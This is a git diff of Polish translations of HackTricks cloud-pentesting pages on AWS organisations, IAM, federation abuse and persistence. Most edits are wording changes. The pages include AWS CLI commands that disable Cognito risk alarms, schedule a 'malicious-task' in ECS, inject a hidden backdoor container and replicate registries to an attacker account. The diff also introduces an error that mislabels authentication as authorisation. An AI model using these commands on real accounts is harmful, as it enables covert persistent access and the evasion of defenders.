kodzie źródłowym, które umożliwia ocenę stanu bezpieczeństwa środowisk chmurowych. ```bash # Install virtualenv -p python3 venv @@ -334,7 +334,7 @@ scout aws -p dev ### Stały audyt -- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian to silnik reguł do zarządzania publicznymi kontami i zasobami w chmurze. Umożliwia użytkownikom **definiowanie polityk w celu umożliwienia dobrze zarządzanej infrastruktury chmurowej**, która jest zarówno bezpieczna, jak i zoptymalizowana pod kątem kosztów. Konsoliduje wiele ad-hoc skryptów, które organizacje mają, w lekkie i elastyczne narzędzie, z jednolitymi metrykami i raportowaniem. +- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian to silnik reguł do zarządzania publicznymi kontami i zasobami w chmurze. Umożliwia użytkownikom **definiowanie polityk w celu zapewnienia dobrze zarządzanej infrastruktury chmurowej**, która jest zarówno bezpieczna, jak i zoptymalizowana pod kątem kosztów. Konsoliduje wiele ad-hoc skryptów, które organizacje mają, w lekkie i elastyczne narzędzie, z jednolitymi metrykami i raportowaniem. - [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** to platforma do **ciągłego monitorowania zgodności, raportowania zgodności i automatyzacji bezpieczeństwa dla chmury**. W PacBot polityki bezpieczeństwa i zgodności są wdrażane jako kod. Wszystkie zasoby odkryte przez PacBot są oceniane pod kątem zgodności z tymi politykami. Ramy **auto-fix** PacBot umożliwiają automatyczną reakcję na naruszenia polityki poprzez podejmowanie zdefiniowanych działań. - [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert to bezserwerowa, **w czasie rzeczywistym** ramka analizy danych, która umożliwia **przyjmowanie, analizowanie i powiadamianie** o danych z dowolnego środowiska, **używając źródeł danych i logiki powiadamiania, które definiujesz**. Zespoły bezpieczeństwa komputerowego używają StreamAlert do skanowania terabajtów danych dzienników każdego dnia w celu wykrywania incydentów i reakcji. diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md index 89ce91075..7640ca27f 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md @@ -10,7 +10,7 @@ W AWS istnieje **konto główne**, które jest **rodzicem dla wszystkich kont** w Twojej **organizacji**. Jednak nie musisz używać tego konta do wdrażania zasobów, możesz utworzyć **inne konta, aby oddzielić różne infrastruktury AWS** między sobą. -Jest to bardzo interesujące z punktu widzenia **bezpieczeństwa**, ponieważ **jedno konto nie będzie mogło uzyskać dostępu do zasobów innego konta** (chyba że mosty zostaną specjalnie utworzone), dzięki czemu możesz tworzyć granice między wdrożeniami. +Jest to bardzo interesujące z punktu widzenia **bezpieczeństwa**, ponieważ **jedno konto nie będzie mogło uzyskać dostępu do zasobów innego konta** (chyba że mosty są specjalnie utworzone), dzięki czemu możesz tworzyć granice między wdrożeniami. Dlatego w organizacji istnieją **dwa typy kont** (mówimy o kontach AWS, a nie kontach użytkowników): jedno konto, które jest wyznaczone jako konto zarządzające, oraz jedno lub więcej kont członkowskich. @@ -40,29 +40,25 @@ aws organizations create-organizational-unit --parent-id r-lalala --name TestOU ``` ### Service Control Policy (SCP) -**Polityka kontroli usług (SCP)** to polityka, która określa usługi i działania, które użytkownicy i role mogą wykorzystywać w kontach, na które wpływa SCP. SCP są **podobne do polityk uprawnień IAM**, z tym że **nie przyznają żadnych uprawnień**. Zamiast tego SCP określają **maksymalne uprawnienia** dla organizacji, jednostki organizacyjnej (OU) lub konta. Gdy dołączysz SCP do korzenia swojej organizacji lub OU, **SCP ogranicza uprawnienia dla podmiotów w kontach członkowskich**. +**Polityka kontroli usług (SCP)** to polityka, która określa usługi i działania, które użytkownicy i role mogą wykorzystywać w kontach, na które wpływa SCP. SCP są **podobne do polityk uprawnień IAM**, z tym że **nie przyznają żadnych uprawnień**. Zamiast tego, SCP określają **maksymalne uprawnienia** dla organizacji, jednostki organizacyjnej (OU) lub konta. Gdy dołączysz SCP do korzenia swojej organizacji lub OU, **SCP ogranicza uprawnienia dla podmiotów w kontach członkowskich**. -To jest JEDYNY sposób, aby **nawet użytkownik root mógł być powstrzymany** przed zrobieniem czegoś. Na przykład, może być użyta do powstrzymania użytkowników przed wyłączaniem CloudTrail lub usuwaniem kopii zapasowych.\ +To jest JEDYNY sposób, aby **nawet użytkownik root mógł być powstrzymany** przed zrobieniem czegoś. Na przykład, może być użyty do powstrzymania użytkowników przed wyłączaniem CloudTrail lub usuwaniem kopii zapasowych.\ Jedynym sposobem na obejście tego jest również skompromitowanie **konta głównego**, które konfiguruje SCP (konto główne nie może być zablokowane). > [!WARNING] -> Zauważ, że **SCP ograniczają tylko podmioty w koncie**, więc inne konta nie są dotknięte. Oznacza to, że posiadanie SCP, które odmawia `s3:GetObject`, nie powstrzyma ludzi przed **uzyskiwaniem dostępu do publicznego koszyka S3** w twoim koncie. +> Zauważ, że **SCP tylko ograniczają uprawnienia w koncie**, więc inne konta nie są dotknięte. Oznacza to, że posiadanie SCP, które odmawia `s3:GetObject`, nie powstrzyma ludzi przed **uzyskiwaniem dostępu do publicznego koszyka S3** w twoim koncie. Przykłady SCP: -- Całkowite zablokowanie konta root +- Całkowite odmówienie konta root - Zezwolenie tylko na określone regiony - Zezwolenie tylko na usługi z białej listy -- Zablokowanie dostępu do GuardDuty, CloudTrail i S3 Public Block Access przed +- Odmowa wyłączania GuardDuty, CloudTrail i S3 Public Block Access -byciem wyłączonym +- Odmowa usuwania lub modyfikowania ról odpowiedzialnych za bezpieczeństwo/reakcję na incydenty. -- Zablokowanie ról odpowiedzialności za bezpieczeństwo/incydenty przed usunięciem lub - -zmianą. - -- Zablokowanie usuwania kopii zapasowych. -- Zablokowanie tworzenia użytkowników IAM i kluczy dostępu +- Odmowa usuwania kopii zapasowych. +- Odmowa tworzenia użytkowników IAM i kluczy dostępu Znajdź **przykłady JSON** w [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html) @@ -82,19 +78,19 @@ Zauważ, że w AWS są 4 partycje, ale tylko 3 sposoby ich nazywania: ## IAM - Zarządzanie Tożsamością i Dostępem -IAM to usługa, która pozwoli Ci zarządzać **uwierzytelnianiem**, **autoryzacją** i **kontrolą dostępu** w Twoim koncie AWS. +IAM to usługa, która pozwoli Ci zarządzać **Autoryzacją**, **Autoryzacją** i **Kontrolą Dostępu** w Twoim koncie AWS. -- **Uwierzytelnianie** - Proces definiowania tożsamości i weryfikacji tej tożsamości. Proces ten można podzielić na: Identyfikację i weryfikację. +- **Autoryzacja** - Proces definiowania tożsamości i weryfikacji tej tożsamości. Proces ten można podzielić na: Identyfikację i weryfikację. - **Autoryzacja** - Określa, do czego tożsamość ma dostęp w systemie po jej uwierzytelnieniu. -- **Kontrola dostępu** - Metoda i proces, w jaki sposób dostęp jest przyznawany do zabezpieczonego zasobu. +- **Kontrola Dostępu** - Metoda i proces, w jaki sposób dostęp jest przyznawany do zabezpieczonego zasobu. IAM można zdefiniować przez jego zdolność do zarządzania, kontrolowania i regulowania mechanizmów uwierzytelniania, autoryzacji i kontroli dostępu tożsamości do Twoich zasobów w Twoim koncie AWS. ### [Użytkownik główny konta AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) -Kiedy po raz pierwszy tworzysz konto Amazon Web Services (AWS), zaczynasz od pojedynczej tożsamości logowania, która ma **pełny dostęp do wszystkich** usług i zasobów AWS w koncie. To jest _**użytkownik główny**_ konta AWS i uzyskuje się do niego dostęp, logując się za pomocą **adresu e-mail i hasła, które użyłeś do utworzenia konta**. +Kiedy po raz pierwszy tworzysz konto Amazon Web Services (AWS), zaczynasz od pojedynczej tożsamości logowania, która ma **pełny dostęp do wszystkich** usług i zasobów AWS w koncie. To jest _**główny użytkownik**_ konta AWS i uzyskuje się do niego dostęp, logując się za pomocą **adresu e-mail i hasła, które użyłeś do utworzenia konta**. -Zauważ, że nowy **użytkownik admina** będzie miał **mniejsze uprawnienia niż użytkownik główny**. +Zauważ, że nowy **użytkownik admina** będzie miał **mniej uprawnień niż użytkownik główny**. Z punktu widzenia bezpieczeństwa zaleca się tworzenie innych użytkowników i unikanie korzystania z tego. @@ -109,7 +105,7 @@ Użytkownicy mogą mieć **włączone MFA do logowania** przez konsolę. Tokeny #### CLI - **ID klucza dostępu**: 20 losowych wielkich liter alfanumerycznych, takich jak AKHDNAPO86BSHKDIRYT -- **ID tajnego klucza dostępu**: 40 losowych wielkich i małych liter: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Nie ma możliwości odzyskania utraconych ID tajnego klucza dostępu). +- **ID tajnego klucza dostępu**: 40 losowych wielkich i małych liter: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Nie ma możliwości odzyskania utraconych ID tajnych kluczy dostępu). Kiedy musisz **zmienić klucz dostępu**, powinieneś postępować według tego procesu:\ &#xNAN;_Create nowy klucz dostępu -> Zastosuj nowy klucz do systemu/aplikacji -> oznacz oryginalny jako nieaktywny -> Testuj i weryfikuj, że nowy klucz dostępu działa -> Usuń stary klucz dostępu_ @@ -126,7 +122,7 @@ Polityki z warunkami MFA mogą być przypisane do następujących: - Polityki zaufania roli IAM, która może być przyjęta przez użytkownika Jeśli chcesz **uzyskać dostęp przez CLI** do zasobu, który **sprawdza MFA**, musisz wywołać **`GetSessionToken`**. To da Ci token z informacjami o MFA.\ -Zauważ, że **`AssumeRole` poświadczenia nie zawierają tych informacji**. +Zauważ, że **`AssumeRole` credentials nie zawierają tych informacji**. ```bash aws sts get-session-token --serial-number --token-code ``` @@ -149,7 +145,7 @@ Oto kilka ważnych cech grup użytkowników: Rola IAM jest bardzo **podobna** do **użytkownika**, ponieważ jest to **tożsamość z politykami uprawnień, które określają, co** może i czego nie może robić w AWS. Jednak rola **nie ma żadnych poświadczeń** (hasła ani kluczy dostępu) związanych z nią. Zamiast być unikalnie przypisana do jednej osoby, rola ma być **przyjmowana przez każdego, kto jej potrzebuje (i ma wystarczające uprawnienia)**. **Użytkownik IAM może przyjąć rolę, aby tymczasowo** przyjąć różne uprawnienia do konkretnego zadania. Rola może być **przypisana do** [**użytkownika federacyjnego**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html), który loguje się za pomocą zewnętrznego dostawcy tożsamości zamiast IAM. -Rola IAM składa się z **dwóch typów polityk**: **polityki zaufania**, która nie może być pusta, definiującej **kto może przyjąć** rolę, oraz **polityki uprawnień**, która nie może być pusta, definiującej **do czego ma dostęp**. +Rola IAM składa się z **dwóch typów polityk**: **polityki zaufania**, która nie może być pusta, definiującej **kto może przyjąć** rolę, oraz **polityki uprawnień**, która nie może być pusta, definiującej **co może uzyskać dostęp**. #### Usługa AWS Security Token Service (STS) @@ -204,7 +200,7 @@ Polityki inline są przydatne, jeśli chcesz **utrzymać ścisłą relację jede To są **polityki**, które mogą być definiowane w **zasobach**. **Nie wszystkie zasoby AWS je wspierają**. -Jeśli główny podmiot nie ma wyraźnego odmowy dostępu do nich, a polityka zasobów przyznaje im dostęp, to są one dozwolone. +Jeśli główny podmiot nie ma wyraźnego odmowy dostępu do nich, a polityka zasobów przyznaje im dostęp, to są dozwolone. ### IAM Boundaries @@ -226,14 +222,14 @@ aws sts assume-role \ [--policy-arns ] [--policy ] ``` -Zauważ, że domyślnie **AWS może dodać polityki sesji do sesji**, które będą generowane z powodu innych przyczyn. Na przykład, w [nieautoryzowanych rolach przyjętych przez Cognito](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) domyślnie (korzystając z ulepszonej autoryzacji), AWS wygeneruje **poświadczenia sesji z polityką sesji**, która ogranicza usługi, do których sesja ma dostęp [**do następującej listy**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). +Zauważ, że domyślnie **AWS może dodać polityki sesji do sesji**, które będą generowane z powodu innych przyczyn. Na przykład, w przypadku [nieautoryzowanych ról przyjętych przez Cognito](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) domyślnie (korzystając z ulepszonej autoryzacji), AWS wygeneruje **poświadczenia sesji z polityką sesji**, która ogranicza usługi, do których sesja ma dostęp [**do następującej listy**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). Dlatego, jeśli w pewnym momencie napotkasz błąd "... ponieważ żadna polityka sesji nie zezwala na ...", a rola ma dostęp do wykonania akcji, to dlatego, że **istnieje polityka sesji, która to uniemożliwia**. ### Federacja Tożsamości Federacja tożsamości **pozwala użytkownikom z dostawców tożsamości, którzy są zewnętrzni** dla AWS, na bezpieczny dostęp do zasobów AWS bez konieczności podawania poświadczeń użytkownika AWS z ważnego konta IAM.\ -Przykładem dostawcy tożsamości może być twoje własne korporacyjne **Microsoft Active Directory** (poprzez **SAML**) lub usługi **OpenID** (jak **Google**). Dostęp federacyjny pozwoli użytkownikom w nim na dostęp do AWS. +Przykładem dostawcy tożsamości może być Twoje własne korporacyjne **Microsoft Active Directory** (poprzez **SAML**) lub usługi **OpenID** (takie jak **Google**). Dostęp federacyjny pozwoli użytkownikom w nim na dostęp do AWS. Aby skonfigurować to zaufanie, generowany jest **dostawca tożsamości IAM (SAML lub OAuth)**, który **ufa** **innej platformie**. Następnie przynajmniej jedna **rola IAM jest przypisana (ufająca) do dostawcy tożsamości**. Jeśli użytkownik z zaufanej platformy uzyskuje dostęp do AWS, uzyskuje dostęp jako wspomniana rola. @@ -245,7 +241,7 @@ Jednak zazwyczaj będziesz chciał nadać **inną rolę w zależności od grupy AWS IAM Identity Center (następca AWS Single Sign-On) rozszerza możliwości AWS Identity and Access Management (IAM), aby zapewnić **centralne miejsce**, które łączy **administrację użytkowników i ich dostęp do kont AWS** oraz aplikacji w chmurze. -Domena logowania będzie wyglądać mniej więcej jak `.awsapps.com`. +Domena logowania będzie wyglądać mniej więcej tak: `.awsapps.com`. Aby zalogować użytkowników, można użyć 3 źródeł tożsamości: @@ -257,7 +253,7 @@ Aby zalogować użytkowników, można użyć 3 źródeł tożsamości: W najprostszym przypadku katalogu Centrum Tożsamości, **Centrum Tożsamości będzie miało listę użytkowników i grup** i będzie mogło **przypisywać polityki** do nich do **dowolnych kont** organizacji. -Aby nadać dostęp użytkownikowi/grupie Centrum Tożsamości do konta, **zostanie utworzony zaufany dostawca tożsamości SAML**, a **rola zaufana dostawcy tożsamości z wskazanymi politykami zostanie utworzona** w docelowym koncie. +Aby nadać dostęp użytkownikowi/grupie Centrum Tożsamości do konta, **zostanie utworzony zaufany dostawca tożsamości SAML**, a **rola ufająca dostawcy tożsamości z wskazanymi politykami zostanie utworzona** w docelowym koncie. #### AwsSSOInlinePolicy @@ -277,7 +273,7 @@ Nieobsługiwane: - Relacje zaufania - Centrum administracyjne AD - Pełne wsparcie PS API -- Kosz na śmieci AD +- Kosz na AD - Zarządzane konta usług grupowych - Rozszerzenia schematu - Brak bezpośredniego dostępu do OS lub instancji @@ -291,7 +287,7 @@ Aplikacja używa AssumeRoleWithWebIdentity do tworzenia tymczasowych poświadcze - Możesz **ustawić politykę haseł**, opcje takie jak minimalna długość i wymagania dotyczące haseł. - Możesz **pobrać "Raport poświadczeń"** z informacjami o bieżących poświadczeniach (takimi jak czas utworzenia użytkownika, czy hasło jest włączone...). Możesz generować raport poświadczeń tak często, jak co **cztery godziny**. -AWS Identity and Access Management (IAM) zapewnia **szczegółową kontrolę dostępu** w całym AWS. Dzięki IAM możesz określić **kto może uzyskać dostęp do jakich usług i zasobów**, oraz na jakich warunkach. Dzięki politykom IAM zarządzasz uprawnieniami dla swojej siły roboczej i systemów, aby **zapewnić minimalne uprawnienia**. +AWS Identity and Access Management (IAM) zapewnia **szczegółową kontrolę dostępu** w całym AWS. Dzięki IAM możesz określić, **kto może uzyskać dostęp do jakich usług i zasobów**, oraz na jakich warunkach. Dzięki politykom IAM zarządzasz uprawnieniami swojej siły roboczej i systemów, aby **zapewnić minimalne uprawnienia**. ### Prefiksy ID IAM @@ -299,14 +295,14 @@ Na [**tej stronie**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_ | ABIA | [Token nosiciela usługi AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | | ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| ACCA | Poświadczenie specyficzne dla kontekstu | -| AGPA | Grupa użytkowników | -| AIDA | Użytkownik IAM | +| ACCA | Poświadczenie specyficzne dla kontekstu | +| AGPA | Grupa użytkowników | +| AIDA | Użytkownik IAM | | AIPA | Profil instancji Amazon EC2 | -| AKIA | Klucz dostępu | -| ANPA | Polityka zarządzana | -| ANVA | Wersja w polityce zarządzanej | -| APKA | Klucz publiczny | +| AKIA | Klucz dostępu | +| ANPA | Polityka zarządzana | +| ANVA | Wersja w polityce zarządzanej | +| APKA | Klucz publiczny | | AROA | Rola | | ASCA | Certyfikat | | ASIA | [Tymczasowe identyfikatory kluczy dostępu (AWS STS)](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) używają tego prefiksu, ale są unikalne tylko w połączeniu z tajnym kluczem dostępu i tokenem sesji. | @@ -343,7 +339,7 @@ region = eu-west-2 ``` Jeśli musisz uzyskać dostęp do **różnych kont AWS** i Twój profil ma dostęp do **przyjęcia roli w tych kontach**, nie musisz ręcznie wywoływać STS za każdym razem (`aws sts assume-role --role-arn --role-session-name sessname`) i konfigurować poświadczeń. -Możesz użyć pliku `~/.aws/config`, aby [**wskazać, które role przyjąć**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), a następnie użyć parametru `--profile` jak zwykle (operacja `assume-role` zostanie wykonana w sposób przezroczysty dla użytkownika).\ +Możesz użyć pliku `~/.aws/config`, aby [ **wskazać, które role przyjąć**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), a następnie użyć parametru `--profile` jak zwykle (operacja `assume-role` zostanie wykonana w sposób przezroczysty dla użytkownika).\ Przykład pliku konfiguracyjnego: ``` [profile acc2] diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md index 9218930cd..9b6c7b7c1 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md @@ -10,7 +10,7 @@ Aby uzyskać informacje o SAML, sprawdź: https://book.hacktricks.xyz/pentesting-web/saml-attacks {{#endref}} -Aby skonfigurować **Federację Tożsamości przez SAML**, wystarczy podać **nazwę** oraz **metadane XML** zawierające całą konfigurację SAML (**punkty końcowe**, **certyfikat** z kluczem publicznym) +Aby skonfigurować **Federację Tożsamości przez SAML**, wystarczy podać **nazwę** i **metadane XML** zawierające całą konfigurację SAML (**punkty końcowe**, **certyfikat** z kluczem publicznym) ## OIDC - Nadużycie Github Actions @@ -18,7 +18,7 @@ Aby dodać akcję github jako dostawcę tożsamości: 1. W _Typ dostawcy_ wybierz **OpenID Connect**. 2. W _URL dostawcy_ wpisz `https://token.actions.githubusercontent.com` -3. Kliknij na _Pobierz odcisk palca_, aby uzyskać odcisk palca dostawcy +3. Kliknij _Pobierz odcisk palca_, aby uzyskać odcisk palca dostawcy 4. W _Odbiorca_ wpisz `sts.amazonaws.com` 5. Utwórz **nową rolę** z **uprawnieniami**, których potrzebuje akcja github oraz **politykę zaufania**, która ufa dostawcy, jak w poniższym przykładzie: - ```json @@ -88,7 +88,7 @@ eksctl create cluster --name demo --fargate # Create an Identity Provider for an EKS cluster eksctl utils associate-iam-oidc-provider --cluster Testing --approve ``` -Możliwe jest generowanie **OIDC providers** w klastrze **EKS** po prostu przez ustawienie **OIDC URL** klastra jako **nowego dostawcy tożsamości Open ID**. To jest powszechna domyślna polityka: +Możliwe jest generowanie **OIDC providers** w klastrze **EKS** po prostu ustawiając **OIDC URL** klastra jako **nowego dostawcę tożsamości Open ID**. To jest powszechna domyślna polityka: ```json { "Version": "2012-10-17", @@ -108,7 +108,7 @@ Możliwe jest generowanie **OIDC providers** w klastrze **EKS** po prostu przez ] } ``` -Ta polityka poprawnie wskazuje, że **tylko** **klaster EKS** o **id** `20C159CDF6F2349B68846BEC03BE031B` może przyjąć rolę. Jednak nie wskazuje, który konto usługi może ją przyjąć, co oznacza, że **KAŻDE konto usługi z tokenem tożsamości webowej** będzie **mogło przyjąć** rolę. +Ta polityka poprawnie wskazuje, że **tylko** **klaster EKS** o **id** `20C159CDF6F2349B68846BEC03BE031B` może przyjąć rolę. Jednak nie wskazuje, który konto usługi może ją przyjąć, co oznacza, że **WSZYSTKIE konta usługi z tokenem tożsamości webowej** będą **mogły przyjąć** rolę. Aby określić, **które konto usługi powinno mieć możliwość przyjęcia roli,** należy określić **warunek**, w którym **nazwa konta usługi jest określona**, na przykład: ```bash diff --git a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md index e7e7969fc..a661c43a2 100644 --- a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md +++ b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md @@ -10,8 +10,8 @@ To są uprawnienia, które potrzebujesz na każdym koncie AWS, które chcesz aud - **access-analyzer:Get\*** - **iam:CreateServiceLinkedRole** - **access-analyzer:CreateAnalyzer** -- Opcjonalne, jeśli klient generuje analizatory za Ciebie, ale zazwyczaj łatwiej jest po prostu poprosić o to uprawnienie) +- Opcjonalne, jeśli klient generuje analizy dla Ciebie, ale zazwyczaj łatwiej jest po prostu poprosić o to uprawnienie) - **access-analyzer:DeleteAnalyzer** -- Opcjonalne, jeśli klient usuwa analizatory za Ciebie, ale zazwyczaj łatwiej jest po prostu poprosić o to uprawnienie) +- Opcjonalne, jeśli klient usuwa analizy za Ciebie, ale zazwyczaj łatwiej jest po prostu poprosić o to uprawnienie) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md index 91e65644c..6d38bfd74 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md @@ -26,7 +26,7 @@ Lub po prostu usuń użycie autoryzatora. ### Klucze API -Jeśli używane są klucze API, możesz je ujawnić, aby utrzymać dostęp lub nawet stworzyć nowe.\ +Jeśli używane są klucze API, możesz je ujawnić, aby utrzymać ciągłość lub nawet stworzyć nowe.\ Lub po prostu usuń użycie kluczy API. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md index 83ce6b8dd..5794a1a15 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md @@ -1,4 +1,4 @@ -# AWS - Cognito Persistence +# AWS - Utrzymywanie w Cognito {{#include ../../../banners/hacktricks-training.md}} @@ -29,7 +29,7 @@ Sprawdź, jak wykonać te działania w ### `cognito-idp:SetRiskConfiguration` -Atakujący z tym uprawnieniem mógłby zmodyfikować konfigurację ryzyka, aby móc zalogować się jako użytkownik Cognito **bez wywoływania alarmów**. [**Sprawdź cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html), aby zobaczyć wszystkie opcje: +Atakujący z tym uprawnieniem mógłby zmodyfikować konfigurację ryzyka, aby móc zalogować się jako użytkownik Cognito **bez wyzwalania alarmów**. [**Sprawdź cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html), aby zobaczyć wszystkie opcje: ```bash aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION} ``` diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md index 8f891974c..2393a7342 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md @@ -12,14 +12,14 @@ Aby uzyskać więcej informacji, sprawdź: ### Utrzymywanie połączenia grupy zabezpieczeń -Jeśli obrońca odkryje, że **instancja EC2 została skompromitowana**, prawdopodobnie spróbuje **izolować** **sieć** maszyny. Może to zrobić za pomocą **Deny NACL** (ale NACL wpływają na całą podsieć) lub **zmieniając grupę zabezpieczeń**, aby nie zezwalać na **żaden rodzaj ruchu przychodzącego lub wychodzącego**. +Jeśli obrońca odkryje, że **instancja EC2 została skompromitowana**, prawdopodobnie spróbuje **izolować** **sieć** maszyny. Może to zrobić za pomocą **Deny NACL** (ale NACL wpływają na cały podsieć) lub **zmieniając grupę zabezpieczeń**, aby nie zezwalać na **żaden rodzaj ruchu przychodzącego lub wychodzącego**. Jeśli atakujący miał **odwróconą powłokę pochodzącą z maszyny**, nawet jeśli SG zostanie zmodyfikowane, aby nie zezwalać na ruch przychodzący lub wychodzący, **połączenie nie zostanie zakończone z powodu** [**Śledzenia połączeń grupy zabezpieczeń**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.** ### Menedżer cyklu życia EC2 Ta usługa pozwala na **planowanie** **tworzenia AMI i migawków** oraz nawet **dzielenie się nimi z innymi kontami**.\ -Atakujący mógłby skonfigurować **generowanie AMI lub migawków** wszystkich obrazów lub wszystkich wolumenów **co tydzień** i **dzielić się nimi ze swoim kontem**. +Atakujący mógłby skonfigurować **generowanie AMI lub migawków** wszystkich obrazów lub wszystkich woluminów **co tydzień** i **dzielić się nimi ze swoim kontem**. ### Zaplanowane instancje diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md index 311bb3ba8..1dcb7e267 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md @@ -41,7 +41,7 @@ aws ecr set-repository-policy \ } ``` > [!WARNING] -> Zauważ, że ECR wymaga, aby użytkownicy mieli **uprawnienia** do wywoływania API **`ecr:GetAuthorizationToken`** za pomocą polityki IAM **zanim będą mogli uwierzytelnić się** w rejestrze i przesyłać lub pobierać obrazy z dowolnego repozytorium Amazon ECR. +> Zauważ, że ECR wymaga, aby użytkownicy mieli **uprawnienia** do wywoływania API **`ecr:GetAuthorizationToken`** za pomocą polityki IAM **zanim będą mogli uwierzytelnić się** w rejestrze oraz przesyłać lub pobierać obrazy z dowolnego repozytorium Amazon ECR. ### Polityka rejestru i replikacja między kontami @@ -49,7 +49,7 @@ Możliwe jest automatyczne replikowanie rejestru w zewnętrznym koncie, konfigur
-Najpierw musisz dać zewnętrznemu kontu dostęp do rejestru za pomocą **polityki rejestru** takiej jak: +Najpierw musisz nadać zewnętrznemu kontu dostęp do rejestru za pomocą **polityki rejestru** takiej jak: ```bash aws ecr put-registry-policy --policy-text file://my-policy.json diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md index 31be46169..3af4c891c 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md @@ -15,7 +15,7 @@ Aby uzyskać więcej informacji, sprawdź: > [!NOTE] > TODO: Test -Napastnik może utworzyć ukryte okresowe zadanie ECS, używając Amazon EventBridge do **zaplanowania wykonywania złośliwego zadania okresowo**. To zadanie może przeprowadzać rozpoznanie, eksfiltrację danych lub utrzymywać persistencję w koncie AWS. +Napastnik może utworzyć ukryte okresowe zadanie ECS, używając Amazon EventBridge do **zaplanowania wykonywania złośliwego zadania okresowo**. To zadanie może przeprowadzać rekonesans, exfiltrację danych lub utrzymywać persistencję w koncie AWS. ```bash # Create a malicious task definition aws ecs register-task-definition --family "malicious-task" --container-definitions '[ @@ -49,7 +49,7 @@ aws events put-targets --rule "malicious-ecs-task-rule" --targets '[ > [!NOTE] > TODO: Test -Napastnik może dodać **ukryty kontener backdoor** w istniejącej definicji zadania ECS, który działa obok legalnych kontenerów. Kontener backdoor może być używany do utrzymania dostępu i wykonywania złośliwych działań. +Napastnik może dodać **ukryty kontener backdoor** w istniejącej definicji zadania ECS, który działa obok legalnych kontenerów. Kontener backdoor może być używany do utrzymywania dostępu i wykonywania złośliwych działań. ```bash # Update the existing task definition to include the backdoor container aws ecs register-task-definition --family "existing-task" --container-definitions '[ diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md index b326c0a30..2acc6be13 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md @@ -10,9 +10,9 @@ Aby uzyskać więcej informacji, sprawdź: ../aws-services/aws-efs-enum.md {{#endref}} -### Modyfikacja polityki zasobów / grup bezpieczeństwa +### Modyfikacja polityki zasobów / grup zabezpieczeń -Modyfikując **politykę zasobów i/lub grupy bezpieczeństwa**, możesz spróbować utrzymać dostęp do systemu plików. 